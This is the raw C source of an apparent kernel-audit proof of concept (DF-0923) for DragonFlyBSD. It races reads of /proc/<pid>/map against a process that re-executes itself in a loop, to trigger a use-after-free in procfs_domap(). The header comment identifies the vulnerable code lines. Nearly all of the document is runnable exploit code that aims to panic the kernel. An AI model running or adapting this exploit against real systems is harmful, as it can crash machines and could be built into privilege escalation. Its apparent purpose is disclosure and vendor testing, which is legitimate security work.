DragonFlyBSD Kernel Audit
DF-0923 / race_map.c
← back to finding ↓ download raw
/*
 * race_map.c - DF-0923 PoC: race /proc/<pid>/map reads against the target
 *              process's rapid execve() to trigger a use-after-free of the
 *              vm_map (and vm_map_backing) cached in procfs_domap().
 *
 * Vulnerability (confirmed in sys/vfs/procfs/procfs_map.c):
 *   - line 65:  vm_map_t map = &p->p_vmspace->vm_map;   // NO vmspace_hold()
 *   - line 86:  vm_map_lock_read(map);                   // lockmgr shared
 *   - line 87:  lwkt_reltoken(&p->p_token);              // proc token GONE
 *   - line 142: last_timestamp = map->timestamp;
 *   - line 143: vm_map_unlock(map);                      // *** DROP per iter ***
 *   - lines 175-178, 216: ba->object dereferenced while UNLOCKED
 *   - line 230: vm_map_lock_read(map);                   // *** re-lock STALE map ***
 *
 * A concurrent execve() on the target calls vmspace_exec() which does
 * vmspace_rel(oldvmspace) (sys/vm/vm_map.c:4330). With no hold/ref held
 * by procfs_domap, the old vmspace (and its embedded vm_map, including
 * map->lock) is freed. The reader's re-lock at line 230 then operates on
 * freed memory => UAF => panic (or worse).
 *
 * Compare to procfs_rwmem() in procfs_mem.c which correctly does
 * vmspace_hold(vm) at line 93 before caching map, and vmspace_drop(vm)
 * at line 160 after the loop.
 *
 * Modes:
 *   ./race_map                     parent: orchestrate victim + readers
 *   ./race_map --victim            victim: tight execve() loop (re-exec self)
 *   ./race_map --reader <pid>      reader: tight read loop of /proc/<pid>/map
 *
 * Build: cc -O2 -o race_map race_map.c
 * Run:   ./race_map [seconds] [nreaders]
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <unistd.h>

#define MAPFMT "/proc/%d/map"

/* Reader: hammer /proc/<victim>/map in a tight loop. Each read enters
 * procfs_domap and iterates the victim's map entries, dropping the lock
 * per entry (line 143) -- the race window.
 *
 * NOTE: a SMALL read buffer (4 KB) is used deliberately. procfs_domap
 * computes buflen = uio_offset + uio_resid and feeds it to sbuf_new(); a
 * large resid forces a large kmalloc per call which, under many parallel
 * readers, independently trips "sbuf: malloc limit exceeded" -- an
 * unrelated pre-existing issue that would mask the UAF we are trying to
 * observe. A 4 KB buffer still drives procfs_domap through every map
 * entry (every per-iteration unlock window), which is what the UAF race
 * needs; it just keeps the sbuf small. */
static void
reader_loop(int victim_pid)
{
	char path[64];
	char buf[4096];
	snprintf(path, sizeof path, MAPFMT, victim_pid);
	for (;;) {
		int fd = open(path, O_RDONLY);
		if (fd >= 0) {
			/* drain the whole map; each entry is one unlock window */
			while (read(fd, buf, sizeof buf) > 0)
				;
			close(fd);
		}
		/* no sleep -- tight loop maximizes collision probability */
	}
	_exit(0);
}

/* Victim: re-exec self forever. Each execve() replaces p_vmspace via
 * vmspace_exec() and vmspace_rel()s the old one, freeing it (no other
 * holders in the procfs reader because procfs_domap forgets to hold). */
static void
victim_loop(char *self)
{
	char *args[] = { self, "--victim", NULL };
	char *envp[] = { NULL };
	for (;;) {
		execve(self, args, envp);
		/* execve should not fail; if it does, brief retry */
		usleep(100);
	}
	_exit(1);
}

int
main(int argc, char **argv)
{
	int seconds = 30;
	int nreaders = 4;

	if (argc >= 2 && strcmp(argv[1], "--victim") == 0) {
		victim_loop(argv[0]);
		return 1;
	}
	if (argc >= 2 && strcmp(argv[1], "--reader") == 0) {
		if (argc < 3) {
			fprintf(stderr, "reader: need pid\n");
			return 2;
		}
		reader_loop(atoi(argv[2]));
		return 0;
	}

	if (argc >= 2)
		seconds = atoi(argv[1]);
	if (argc >= 3)
		nreaders = atoi(argv[2]);
	if (seconds <= 0)
		seconds = 30;
	if (nreaders <= 0)
		nreaders = 4;

	/* Parent: spawn victim, then N readers, let them race for <seconds>. */
	pid_t victim = fork();
	if (victim < 0) {
		perror("fork");
		return 1;
	}
	if (victim == 0) {
		execl(argv[0], "race_map", "--victim", (char *)NULL);
		_exit(127);
	}
	fprintf(stderr, "[parent] victim pid=%d, spawning %d readers, racing %ds\n",
		(int)victim, nreaders, seconds);

	pid_t *readers = calloc(nreaders, sizeof(pid_t));
	for (int i = 0; i < nreaders; i++) {
		char pidstr[32];
		snprintf(pidstr, sizeof pidstr, "%d", (int)victim);
		readers[i] = fork();
		if (readers[i] < 0) {
			perror("fork reader");
			nreaders = i;
			break;
		}
		if (readers[i] == 0) {
			execl(argv[0], "race_map", "--reader", pidstr, (char *)NULL);
			_exit(127);
		}
	}

	/* Let the race run. A panic kills the guest; on survival we just
	 * tear down after the timer and report. */
	sleep(seconds);

	fprintf(stderr, "[parent] survived %ds without panic; tearing down\n", seconds);
	kill(victim, SIGKILL);
	for (int i = 0; i < nreaders; i++)
		kill(readers[i], SIGKILL);
	int status;
	waitpid(victim, &status, 0);
	for (int i = 0; i < nreaders; i++)
		waitpid(readers[i], &status, 0);
	free(readers);

	fprintf(stderr, "[parent] done (no panic observed this run)\n");
	return 0;
}